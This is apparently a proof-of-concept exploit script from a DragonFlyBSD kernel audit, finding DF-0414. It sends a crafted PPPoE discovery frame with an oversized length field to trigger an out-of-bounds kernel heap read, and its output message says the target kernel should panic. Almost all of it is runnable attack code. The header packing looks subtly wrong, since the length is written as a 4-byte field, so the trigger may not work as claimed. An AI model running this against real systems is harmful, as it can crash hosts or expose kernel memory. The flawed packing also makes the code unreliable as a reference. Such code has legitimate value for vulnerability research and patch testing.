DragonFlyBSD Kernel Audit
DF-0414 / poc.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""
DF-0414 PoC: PPPoE discovery ph->length unchecked heap OOB read

Sends a PPPoE PADI (PPPoE Active Discovery Initiation) with ph->length
set to 0xFFFF in a minimal 60-byte Ethernet frame. The netgraph PPPoE
node's tag walker reads past the mbuf into kernel heap.

Requires scapy and a PPPoE-capable netgraph node on the target interface.
"""
import argparse
import struct
import sys

try:
    from scapy.all import Ether, sendp, conf, raw
except ImportError:
    print("Requires scapy: pip install scapy", file=sys.stderr)
    sys.exit(1)

ETHERTYPE_PPPOE_DISC = 0x8863

def craft_oob_padi(src_mac, dst_mac="ff:ff:ff:ff:ff:ff"):
    """Build a PADI with ph->length = 0xFFFF but only 6 bytes of tag data."""
    # Ethernet header
    frame = dst_mac.encode().fromhex(dst_mac.replace(":", ""))
    frame += bytes.fromhex(src_mac.replace(":", ""))

    # EtherType: PPPoE Discovery
    frame += struct.pack("!H", ETHERTYPE_PPPOE_DISC)

    # PPPoE header: ver=1, type=1, code=0x09 (PADI), session=0, length=0xFFFF
    # The length field (0xFFFF) is the bug trigger — it claims 65535 bytes
    # of payload but the frame only has ~6 bytes of tag data.
    frame += struct.pack("!BBHI", 0x11, 0x09, 0x0000, 0xFFFF)

    # Minimal tag: Service-Name with empty value (required for PADI)
    # Tag type 0x0101 (Service-Name), length 0
    frame += struct.pack("!HH", 0x0101, 0x0000)

    # Pad to minimum Ethernet frame size (60 bytes)
    while len(frame) < 60:
        frame += b'\x00'

    return frame


def main():
    parser = argparse.ArgumentParser(
        description="DF-0414: PPPoE discovery ph->length OOB read")
    parser.add_argument("--iface", required=True, help="Ethernet interface")
    parser.add_argument("--src-mac", default="00:11:22:33:44:55")
    args = parser.parse_args()

    print("[*] DF-0414: PPPoE discovery ph->length unchecked OOB read")
    print("[*] Sending PADI with ph->length=0xFFFF in 60-byte frame")
    print(f"[*] Interface: {args.iface}")

    frame = craft_oob_padi(args.src_mac)
    print(f"[*] Frame: {len(frame)} bytes")
    print(f"[*] ph->length claims: 65535 bytes of payload")
    print(f"[*] Actual payload: ~6 bytes")

    conf.iface = args.iface
    sendp(frame, iface=args.iface)
    print("[+] Sent. Target kernel should panic if netgraph PPPoE is active.")


if __name__ == "__main__":
    main()